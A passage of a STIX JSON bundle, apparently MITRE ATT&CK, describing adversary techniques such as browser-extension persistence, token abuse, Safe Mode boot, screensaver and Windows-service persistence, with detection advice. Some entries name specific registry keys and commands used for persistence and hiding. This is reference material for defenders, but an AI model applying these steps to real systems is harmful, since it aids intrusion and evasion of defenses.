                    "url": "https://www.securityweek.com/iranian-hackers-targeted-us-officials-elaborate-social-media-attack-operation"
                },
                {
                    "source_name": "BlackHatRobinSage",
                    "description": "Ryan, T. (2010). \u201cGetting In Bed with Robin Sage.\u201d. Retrieved March 6, 2017.",
                    "url": "http://media.blackhat.com/bh-us-10/whitepapers/Ryan/BlackHat-USA-2010-Ryan-Getting-In-Bed-With-Robin-Sage-v1.0.pdf"
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            "modified": "2025-04-15T23:08:45.478Z",
            "name": "Social Media Accounts",
            "description": "Adversaries may compromise social media accounts that can be used during targeting. For operations incorporating social engineering, the utilization of an online persona may be important. Rather than creating and cultivating social media profiles (i.e. [Social Media Accounts](https://attack.mitre.org/techniques/T1585/001)), adversaries may compromise existing social media accounts. Utilizing an existing persona may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. \n\nA variety of methods exist for compromising social media accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, or by brute forcing credentials (ex: password reuse from breach credential dumps).(Citation: AnonHBGary) Prior to compromising social media accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation.\n\nPersonas may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, etc.). Compromised social media accounts may require additional development, this could include filling out or modifying profile information, further developing social networks, or incorporating photos.\n\nAdversaries can use a compromised social media profile to create new, or hijack existing, connections to targets of interest. These connections may be direct or may include trying to connect through others.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage) Compromised profiles may be leveraged during other phases of the adversary lifecycle, such as during Initial Access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).",
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            "x_mitre_attack_spec_version": "3.2.0",
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        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--278716b1-61ce-4a74-8d17-891d0c494101",
            "created": "2025-03-30T22:12:27.799Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "url": "https://attack.mitre.org/techniques/T1176/001",
                    "external_id": "T1176.001"
                },
                {
                    "source_name": "Chrome Extension Crypto Miner",
                    "description": "Brinkmann, M. (2017, September 19). First Chrome extension with JavaScript Crypto Miner detected. Retrieved November 16, 2017.",
                    "url": "https://www.ghacks.net/2017/09/19/first-chrome-extension-with-javascript-crypto-miner-detected/"
                },
                {
                    "source_name": "xorrior chrome extensions macOS",
                    "description": "Chris Ross. (2019, February 8). No Place Like Chrome. Retrieved April 27, 2021.",
                    "url": "https://www.xorrior.com/No-Place-Like-Chrome/"
                },
                {
                    "source_name": "Chrome Extensions Definition",
                    "description": "Chrome. (n.d.). What are Extensions?. Retrieved November 16, 2017.",
                    "url": "https://developer.chrome.com/extensions"
                },
                {
                    "source_name": "ICEBRG Chrome Extensions",
                    "description": "De Tore, M., Warner, J. (2018, January 15). MALICIOUS CHROME EXTENSIONS ENABLE CRIMINALS TO IMPACT OVER HALF A MILLION USERS AND GLOBAL BUSINESSES. Retrieved January 17, 2018.",
                    "url": "https://www.icebrg.io/blog/malicious-chrome-extensions-enable-criminals-to-impact-over-half-a-million-users-and-global-businesses"
                },
                {
                    "source_name": "Malicious Chrome Extension Numbers",
                    "description": "Jagpal, N., et al. (2015, August). Trends and Lessons from Three Years Fighting Malicious Extensions. Retrieved November 17, 2017.",
                    "url": "https://static.googleusercontent.com/media/research.google.com/en//pubs/archive/43824.pdf"
                },
                {
                    "source_name": "Chrome Extension C2 Malware",
                    "description": "Kjaer, M. (2016, July 18). Malware in the browser: how you might get hacked by a Chrome extension. Retrieved September 12, 2024.",
                    "url": "https://web.archive.org/web/20240608001937/https://kjaer.io/extension-malware/"
                },
                {
                    "source_name": "Catch All Chrome Extension",
                    "description": "Marinho, R. (n.d.). \"Catch-All\" Google Chrome Malicious Extension Steals All Posted Data. Retrieved November 16, 2017.",
                    "url": "https://isc.sans.edu/forums/diary/CatchAll+Google+Chrome+Malicious+Extension+Steals+All+Posted+Data/22976/https:/threatpost.com/malicious-chrome-extension-steals-data-posted-to-any-website/128680/)"
                },
                {
                    "source_name": "Banker Google Chrome Extension Steals Creds",
                    "description": "Marinho, R. (n.d.). (Banker(GoogleChromeExtension)).targeting. Retrieved November 18, 2017.",
                    "url": "https://isc.sans.edu/forums/diary/BankerGoogleChromeExtensiontargetingBrazil/22722/"
                },
                {
                    "source_name": "Browser Adrozek",
                    "description": "Microsoft Threat Intelligence. (2020, December 10). Widespread malware campaign seeks to silently inject ads into search results, affects multiple browsers. Retrieved February 26, 2024.",
                    "url": "https://www.microsoft.com/en-us/security/blog/2020/12/10/widespread-malware-campaign-seeks-to-silently-inject-ads-into-search-results-affects-multiple-browsers/"
                },
                {
                    "source_name": "Browers FriarFox",
                    "description": "Raggi, Michael. Proofpoint Threat Research Team. (2021, February 25). TA413 Leverages New FriarFox Browser Extension to Target the Gmail Accounts of Global Tibetan Organizations. Retrieved November 17, 2024.",
                    "url": "https://www.proofpoint.com/uk/blog/threat-insight/ta413-leverages-new-friarfox-browser-extension-target-gmail-accounts-global"
                },
                {
                    "source_name": "Stantinko Botnet",
                    "description": "Vachon, F., Faou, M. (2017, July 20). Stantinko: A massive adware campaign operating covertly since 2012. Retrieved November 16, 2017.",
                    "url": "https://www.welivesecurity.com/2017/07/20/stantinko-massive-adware-campaign-operating-covertly-since-2012/"
                },
                {
                    "source_name": "Wikipedia Browser Extension",
                    "description": "Wikipedia. (2017, October 8). Browser Extension. Retrieved January 11, 2018.",
                    "url": "https://en.wikipedia.org/wiki/Browser_extension"
                }
            ],
            "object_marking_refs": [
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            "modified": "2025-04-15T19:58:15.232Z",
            "name": "Browser Extensions",
            "description": "Adversaries may abuse internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality to and customize aspects of internet browsers. They can be installed directly via a local file or custom URL or through a browser's app store - an official online platform where users can browse, install, and manage extensions for a specific web browser. Extensions generally inherit the web browser's permissions previously granted.(Citation: Wikipedia Browser Extension)(Citation: Chrome Extensions Definition) \n \nMalicious extensions can be installed into a browser through malicious app store downloads masquerading as legitimate extensions, through social engineering, or by an adversary that has already compromised a system. Security can be limited on browser app stores, so it may not be difficult for malicious extensions to defeat automated scanners.(Citation: Malicious Chrome Extension Numbers) Depending on the browser, adversaries may also manipulate an extension's update url to install updates from an adversary-controlled server or manipulate the mobile configuration file to silently install additional extensions. \n  \nPrevious to macOS 11, adversaries could silently install browser extensions via the command line using the <code>profiles</code> tool to install malicious <code>.mobileconfig</code> files. In macOS 11+, the use of the <code>profiles</code> tool can no longer install configuration profiles; however, <code>.mobileconfig</code> files can be planted and installed with user interaction.(Citation: xorrior chrome extensions macOS) \n \nOnce the extension is installed, it can browse to websites in the background, steal all information that a user enters into a browser (including credentials), and be used as an installer for a RAT for persistence.(Citation: Chrome Extension Crypto Miner)(Citation: ICEBRG Chrome Extensions)(Citation: Banker Google Chrome Extension Steals Creds)(Citation: Catch All Chrome Extension) \n\nThere have also been instances of botnets using a persistent backdoor through malicious Chrome extensions for [Command and Control](https://attack.mitre.org/tactics/TA0011).(Citation: Stantinko Botnet)(Citation: Chrome Extension C2 Malware) Adversaries may also use browser extensions to modify browser permissions and components, privacy settings, and other security controls for [Defense Evasion](https://attack.mitre.org/tactics/TA0005).(Citation: Browers FriarFox)(Citation: Browser Adrozek) ",
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            "x_mitre_data_sources": [
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                "Process: Process Creation",
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        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--27960489-4e7f-461d-a62a-f5c0cb521e4a",
            "created": "2019-08-30T12:55:58.607Z",
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                    "url": "https://attack.mitre.org/techniques/T1527",
                    "external_id": "T1527"
                },
                {
                    "source_name": "Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019",
                    "description": "Auth0. (n.d.). Why You Should Always Use Access Tokens to Secure APIs. Retrieved September 12, 2019.",
                    "url": "https://auth0.com/blog/why-should-use-accesstokens-to-secure-an-api/"
                },
                {
                    "source_name": "Microsoft Identity Platform Access 2019",
                    "description": "Cai, S., Flores, J., de Guzman, C., et. al.. (2019, August 27). Microsoft identity platform access tokens. Retrieved October 4, 2019.",
                    "url": "https://docs.microsoft.com/en-us/azure/active-directory/develop/access-tokens"
                },
                {
                    "source_name": "okta",
                    "description": "okta. (n.d.). What Happens If Your JWT Is Stolen?. Retrieved September 12, 2019.",
                    "url": "https://developer.okta.com/blog/2018/06/20/what-happens-if-your-jwt-is-stolen"
                },
                {
                    "source_name": "Staaldraad Phishing with OAuth 2017",
                    "description": "Stalmans, E.. (2017, August 2). Phishing with OAuth and o365/Azure. Retrieved October 4, 2019.",
                    "url": "https://staaldraad.github.io/2017/08/02/o356-phishing-with-oauth/"
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            "modified": "2025-04-15T19:58:15.327Z",
            "name": "Application Access Token",
            "description": "Adversaries may use application access tokens to bypass the typical authentication process and access restricted accounts, information, or services on remote systems. These tokens are typically stolen from users and used in lieu of login credentials.\n\nApplication access tokens are used to make authorized API requests on behalf of a user and are commonly used as a way to access resources in cloud-based applications and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019) OAuth is one commonly implemented framework that issues tokens to users for access to systems. These frameworks are used collaboratively to verify the user and determine what actions the user is allowed to perform. Once identity is established, the token allows actions to be authorized, without passing the actual credentials of the user. Therefore, compromise of the token can grant the adversary access to resources of other sites through a malicious application.(Citation: okta)\n\nFor example, with a cloud-based email service once an OAuth access token is granted to a malicious application, it can potentially gain long-term access to features of the user account if a \"refresh\" token enabling background access is awarded.(Citation: Microsoft Identity Platform Access 2019) With an OAuth access token an adversary can use the user-granted REST API to perform functions such as email searching and contact enumeration.(Citation: Staaldraad Phishing with OAuth 2017)\n\nCompromised access tokens may be used as an initial step in compromising other services. For example, if a token grants access to a victim\u2019s primary email, the adversary may be able to extend access to all other services which the target subscribes by triggering forgotten password routines. Direct API access through a token negates the effectiveness of a second authentication factor and may be immune to intuitive countermeasures like changing passwords. Access abuse over an API channel can be difficult to detect even from the service provider end, as the access can still align well with a legitimate workflow.\n",
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor access token activity for abnormal use and permissions granted to unusual or suspicious applications. Administrators can set up a variety of logs and leverage audit tools to monitor actions that can be conducted as a result of OAuth 2.0 access. For instance, audit reports enable admins to identify privilege escalation actions such as role creations or policy modifications, which could be actions performed after initial access.",
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "SaaS",
                "Office 365"
            ],
            "x_mitre_version": "1.2"
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--28170e17-8384-415c-8486-2e6b294cb803",
            "created": "2021-06-23T20:00:27.600Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1562/009",
                    "external_id": "T1562.009"
                },
                {
                    "source_name": "Microsoft Safe Mode",
                    "description": "Microsoft. (n.d.). Start your PC in safe mode in Windows 10. Retrieved June 23, 2021.",
                    "url": "https://support.microsoft.com/en-us/windows/start-your-pc-in-safe-mode-in-windows-10-92c27cff-db89-8644-1ce4-b3e5e56fe234"
                },
                {
                    "source_name": "Sophos Snatch Ransomware 2019",
                    "description": "Sophos. (2019, December 9). Snatch ransomware reboots PCs into Safe Mode to bypass protection. Retrieved June 23, 2021.",
                    "url": "https://news.sophos.com/en-us/2019/12/09/snatch-ransomware-reboots-pcs-into-safe-mode-to-bypass-protection/"
                },
                {
                    "source_name": "Microsoft bcdedit 2021",
                    "description": "Microsoft. (2021, May 27). bcdedit. Retrieved June 23, 2021.",
                    "url": "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/bcdedit"
                },
                {
                    "source_name": "CyberArk Labs Safe Mode 2016",
                    "description": "Naim, D.. (2016, September 15). CyberArk Labs: From Safe Mode to Domain Compromise. Retrieved June 23, 2021.",
                    "url": "https://www.cyberark.com/resources/blog/cyberark-labs-from-safe-mode-to-domain-compromise"
                },
                {
                    "source_name": "Cybereason Nocturnus MedusaLocker 2020",
                    "description": "Cybereason Nocturnus. (2020, November 19). Cybereason vs. MedusaLocker Ransomware. Retrieved June 23, 2021.",
                    "url": "https://www.cybereason.com/blog/medusalocker-ransomware"
                },
                {
                    "source_name": "BleepingComputer REvil 2021",
                    "description": "Abrams, L. (2021, March 19). REvil ransomware has a new \u2018Windows Safe Mode\u2019 encryption mode. Retrieved June 23, 2021.",
                    "url": "https://www.bleepingcomputer.com/news/security/revil-ransomware-has-a-new-windows-safe-mode-encryption-mode/"
                },
                {
                    "source_name": "Microsoft Bootcfg",
                    "description": "Gerend, J. et al. (2017, October 16). bootcfg. Retrieved August 30, 2021.",
                    "url": "https://docs.microsoft.com/windows-server/administration/windows-commands/bootcfg"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-25T14:46:08.076Z",
            "name": "Safe Mode Boot",
            "description": "Adversaries may abuse Windows safe mode to disable endpoint defenses. Safe mode starts up the Windows operating system with a limited set of drivers and services. Third-party security software such as endpoint detection and response (EDR) tools may not start after booting Windows in safe mode. There are two versions of safe mode: Safe Mode and Safe Mode with Networking. It is possible to start additional services after a safe mode boot.(Citation: Microsoft Safe Mode)(Citation: Sophos Snatch Ransomware 2019)\n\nAdversaries may abuse safe mode to disable endpoint defenses that may not start with a limited boot. Hosts can be forced into safe mode after the next reboot via modifications to Boot Configuration Data (BCD) stores, which are files that manage boot application settings.(Citation: Microsoft bcdedit 2021)\n\nAdversaries may also add their malicious applications to the list of minimal services that start in safe mode by modifying relevant Registry values (i.e. [Modify Registry](https://attack.mitre.org/techniques/T1112)). Malicious [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) objects may also be registered and loaded in safe mode.(Citation: Sophos Snatch Ransomware 2019)(Citation: CyberArk Labs Safe Mode 2016)(Citation: Cybereason Nocturnus MedusaLocker 2020)(Citation: BleepingComputer REvil 2021)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Jorell Magtibay, National Australia Bank Limited",
                "Kiyohito Yamamoto, RedLark, NTT Communications",
                "Yusuke Kubo, RedLark, NTT Communications"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor Registry modification and additions for services that may start on safe mode. For example, a program can be forced to start on safe mode boot by adding a <code>\\*</code> in front of the \"Startup\" value name: <code>HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\[\"\\*Startup\"=\"{Path}\"]</code> or by adding a key to <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\SafeBoot\\Minimal</code>.(Citation: BleepingComputer REvil 2021)(Citation: Sophos Snatch Ransomware 2019)\n\nMonitor execution of processes and commands associated with making configuration changes to boot settings, such as <code>bcdedit.exe</code> and <code>bootcfg.exe</code>.(Citation: Microsoft bcdedit 2021)(Citation: Microsoft Bootcfg)(Citation: Sophos Snatch Ransomware 2019)",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "Windows Registry: Windows Registry Key Creation",
                "Process: Process Creation",
                "Windows Registry: Windows Registry Key Modification",
                "Command: Command Execution"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--2892b9ee-ca9f-4723-b332-0dc6e843a8ae",
            "created": "2018-01-16T16:13:52.465Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1180",
                    "external_id": "T1180"
                },
                {
                    "source_name": "Wikipedia Screensaver",
                    "description": "Wikipedia. (2017, November 22). Screensaver. Retrieved December 5, 2017.",
                    "url": "https://en.wikipedia.org/wiki/Screensaver"
                },
                {
                    "source_name": "ESET Gazer Aug 2017",
                    "description": "ESET. (2017, August). Gazing at Gazer: Turla\u2019s new second stage backdoor. Retrieved September 14, 2017.",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf"
                }
            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-04-25T15:15:17.963Z",
            "name": "Screensaver",
            "description": "Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.(Citation: Wikipedia Screensaver) The Windows screensaver application scrnsave.scr is located in <code>C:\\Windows\\System32\\</code>, and <code>C:\\Windows\\sysWOW64\\</code> on 64-bit Windows systems, along with screensavers included with base Windows installations. \n\nThe following screensaver settings are stored in the Registry (<code>HKCU\\Control Panel\\Desktop\\</code>) and could be manipulated to achieve persistence:\n\n* <code>SCRNSAVE.exe</code> - set to malicious PE path\n* <code>ScreenSaveActive</code> - set to '1' to enable the screensaver\n* <code>ScreenSaverIsSecure</code> - set to '0' to not require a password to unlock\n* <code>ScreenSaveTimeout</code> - sets user inactivity timeout before screensaver is executed\n\nAdversaries can use screensaver settings to maintain persistence by setting the screensaver to run malware after a certain timeframe of user inactivity. (Citation: ESET Gazer Aug 2017)",
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                {
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                    "phase_name": "persistence"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Bartosz Jerzman"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor process execution and command-line parameters of .scr files. Monitor changes to screensaver configuration changes in the Registry that may not correlate with typical user behavior.\n\nTools such as Sysinternals Autoruns can be used to detect changes to the screensaver binary path in the Registry. Suspicious paths and PE files may indicate outliers among legitimate screensavers in a network and should be investigated.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "1.2"
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--28abec6c-4443-4b03-8206-07f2e264a6b4",
            "created": "2020-10-20T00:06:56.180Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1542/005",
                    "external_id": "T1542.005"
                },
                {
                    "source_name": "Cisco Blog Legacy Device Attacks",
                    "description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.",
                    "url": "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954"
                },
                {
                    "source_name": "Cisco IOS Software Integrity Assurance - Secure Boot",
                    "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Secure Boot. Retrieved October 19, 2020.",
                    "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#35"
                },
                {
                    "source_name": "Cisco IOS Software Integrity Assurance - Image File Verification",
                    "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Image File Verification. Retrieved October 19, 2020.",
                    "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#7"
                },
                {
                    "source_name": "Cisco IOS Software Integrity Assurance - Run-Time Memory Verification",
                    "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Run-Time Memory Integrity Verification. Retrieved October 19, 2020.",
                    "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#13"
                },
                {
                    "source_name": "Cisco IOS Software Integrity Assurance - Command History",
                    "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Command History. Retrieved October 21, 2020.",
                    "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#23"
                },
                {
                    "source_name": "Cisco IOS Software Integrity Assurance - Boot Information",
                    "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Boot Information. Retrieved October 21, 2020.",
                    "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#26"
                }
            ],
            "object_marking_refs": [
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            "modified": "2025-04-25T14:46:08.824Z",
            "name": "TFTP Boot",
            "description": "Adversaries may abuse netbooting to load an unauthorized network device operating system from a Trivial File Transfer Protocol (TFTP) server. TFTP boot (netbooting) is commonly used by network administrators to load configuration-controlled network device images from a centralized management server. Netbooting is one option in the boot sequence and can be used to centralize, manage, and control device images.\n\nAdversaries may manipulate the configuration on the network device specifying use of a malicious TFTP server, which may be used in conjunction with [Modify System Image](https://attack.mitre.org/techniques/T1601) to load a modified image on device startup or reset. The unauthorized image allows adversaries to modify device configuration, add malicious capabilities to the device, and introduce backdoors to maintain control of the network device while minimizing detection through use of a standard functionality. This technique is similar to [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) and may result in the network device running a modified image. (Citation: Cisco Blog Legacy Device Attacks)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Consider comparing a copy of the network device configuration and system image against a known-good version to discover unauthorized changes to system boot, startup configuration, or the running OS. (Citation: Cisco IOS Software Integrity Assurance - Secure Boot) (Citation: Cisco IOS Software Integrity Assurance - Image File Verification)The same process can be accomplished through a comparison of the run-time memory, though this is non-trivial and may require assistance from the vendor.  (Citation: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification)\n\nReview command history in either the console or as part of the running memory to determine if unauthorized or suspicious commands were used to modify device configuration. (Citation: Cisco IOS Software Integrity Assurance - Command History) Check boot information including system uptime, image booted, and startup configuration to determine if results are consistent with expected behavior in the environment. (Citation: Cisco IOS Software Integrity Assurance - Boot Information) Monitor unusual connections or connection attempts to the device that may specifically target TFTP or other file-sharing protocols.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Network Devices"
            ],
            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "Command: Command Execution",
                "Network Traffic: Network Connection Creation",
                "Firmware: Firmware Modification"
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        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32",
            "created": "2020-01-17T19:13:50.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1543/003",
                    "external_id": "T1543.003"
                },
                {
                    "source_name": "Microsoft Windows Event Forwarding FEB 2018",
                    "description": "Hardy, T. & Hall, J. (2018, February 15). Use Windows Event Forwarding to help with intrusion detection. Retrieved August 7, 2018.",
                    "url": "https://docs.microsoft.com/windows/security/threat-protection/use-windows-event-forwarding-to-assist-in-intrusion-detection"
                },
                {
                    "source_name": "ESET InvisiMole June 2020",
                    "description": "Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020.",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf"
                },
                {
                    "source_name": "SANS 1",
                    "description": "Joshua Wright. (2020, October 13). Retrieved March 22, 2024.",
                    "url": "https://www.sans.org/blog/red-team-tactics-hiding-windows-services/"
                },
                {
                    "source_name": "SANS 2",
                    "description": "Joshua Wright. (2020, October 14). Retrieved March 22, 2024.",
                    "url": "https://www.sans.org/blog/defense-spotlight-finding-hidden-windows-services/"
                },
                {
                    "source_name": "TechNet Services",
                    "description": "Microsoft. (n.d.). Services. Retrieved June 7, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/cc772408.aspx"
                },
                {
                    "source_name": "Microsoft 4697 APR 2017",
                    "description": "Miroshnikov, A. & Hall, J. (2017, April 18). 4697(S): A service was installed in the system. Retrieved August 7, 2018.",
                    "url": "https://docs.microsoft.com/windows/security/threat-protection/auditing/event-4697"
                },
                {
                    "source_name": "Symantec W.32 Stuxnet Dossier",
                    "description": "Nicolas Falliere, Liam O. Murchu, Eric Chien. (2011, February). W32.Stuxnet Dossier. Retrieved December 7, 2020.",
                    "url": "https://www.wired.com/images_blogs/threatlevel/2010/11/w32_stuxnet_dossier.pdf"
                },
                {
                    "source_name": "Unit42 AcidBox June 2020",
                    "description": "Reichel, D. and Idrizovic, E. (2020, June 17). AcidBox: Rare Malware Repurposing Turla Group Exploit Targeted Russian Organizations. Retrieved March 16, 2021.",
                    "url": "https://unit42.paloaltonetworks.com/acidbox-rare-malware/"
                },
                {
                    "source_name": "TechNet Autoruns",
                    "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
                    "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902"
                },
                {
                    "source_name": "Crowdstrike DriveSlayer February 2022",
                    "description": "Thomas, W. et al. (2022, February 25). CrowdStrike Falcon Protects from New Wiper Malware Used in Ukraine Cyberattacks. Retrieved March 25, 2022.",
                    "url": "https://www.crowdstrike.com/blog/how-crowdstrike-falcon-protects-against-wiper-malware-used-in-ukraine-attacks/"
                }
            ],
            "object_marking_refs": [
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            "modified": "2025-04-15T19:58:16.076Z",
            "name": "Windows Service",
            "description": "Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.(Citation: TechNet Services) Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.\n\nAdversaries may install a new service or modify an existing service to execute at startup in order to persist on a system. Service configurations can be set or modified using system utilities (such as sc.exe), by directly modifying the Registry, or by interacting directly with the Windows API. \n\nAdversaries may also use services to install and execute malicious drivers. For example, after dropping a driver file (ex: `.sys`) to disk, the payload can be loaded and registered via [Native API](https://attack.mitre.org/techniques/T1106) functions such as `CreateServiceW()` (or manually via functions such as `ZwLoadDriver()` and `ZwSetValueKey()`), by creating the required service Registry values (i.e. [Modify Registry](https://attack.mitre.org/techniques/T1112)), or by using command-line utilities such as `PnPUtil.exe`.(Citation: Symantec W.32 Stuxnet Dossier)(Citation: Crowdstrike DriveSlayer February 2022)(Citation: Unit42 AcidBox June 2020) Adversaries may leverage these drivers as [Rootkit](https://attack.mitre.org/techniques/T1014)s to hide the presence of malicious activity on a system. Adversaries may also load a signed yet vulnerable driver onto a compromised machine (known as \"Bring Your Own Vulnerable Driver\" (BYOVD)) as part of [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068).(Citation: ESET InvisiMole June 2020)(Citation: Unit42 AcidBox June 2020)\n\nServices may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges. Adversaries may also directly start services through [Service Execution](https://attack.mitre.org/techniques/T1569/002).\n\nTo make detection analysis more challenging, malicious services may also incorporate [Masquerade Task or Service](https://attack.mitre.org/techniques/T1036/004) (ex: using a service and/or payload name related to a legitimate OS or benign software component). Adversaries may also create \u2018hidden\u2019 services (i.e., [Hide Artifacts](https://attack.mitre.org/techniques/T1564)), for example by using the `sc sdset` command to set service permissions via the Service Descriptor Definition Language (SDDL). This may hide a Windows service from the view of standard service enumeration methods such as `Get-Service`, `sc query`, and `services.exe`.(Citation: SANS 1)(Citation: SANS 2)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Matthew Demaske, Adaptforward",
                "Pedro Harrison",
                "Mayuresh Dani, Qualys",
                "Wietze Beukema, @wietze",
                "Akshat Pradhan, Qualys",
                "Wirapong Petshagun"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor processes and command-line arguments for actions that could create or modify services. Command-line invocation of tools capable of adding or modifying services may be unusual, depending on how systems are typically used in a particular environment. Services may also be modified through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), so additional logging may need to be configured to gather the appropriate data. Remote access tools with built-in features may also interact directly with the Windows API to perform these functions outside of typical system utilities. Collect service utility execution and service binary path arguments used for analysis. Service binary paths may even be changed to execute commands or scripts.  \n\nLook for changes to service Registry entries that do not correlate with known software, patch cycles, etc. Service information is stored in the Registry at <code>HKLM\\SYSTEM\\CurrentControlSet\\Services</code>. Changes to the binary path and the service startup type changed from manual or disabled to automatic, if it does not typically do so, may be suspicious. Tools such as Sysinternals Autoruns may also be used to detect system service changes that could be attempts at persistence.(Citation: TechNet Autoruns)  \n\nCreation of new services may generate an alterable event (ex: Event ID 4697 and/or 7045 (Citation: Microsoft 4697 APR 2017)(Citation: Microsoft Windows Event Forwarding FEB 2018)). New, benign services may be created during installation of new software.\n\nSuspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data. Look for abnormal process call trees from known services and for execution of other commands that could relate to Discovery or other adversary techniques. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.",
            "x_mitre_domains": [
                "enterprise-attack"
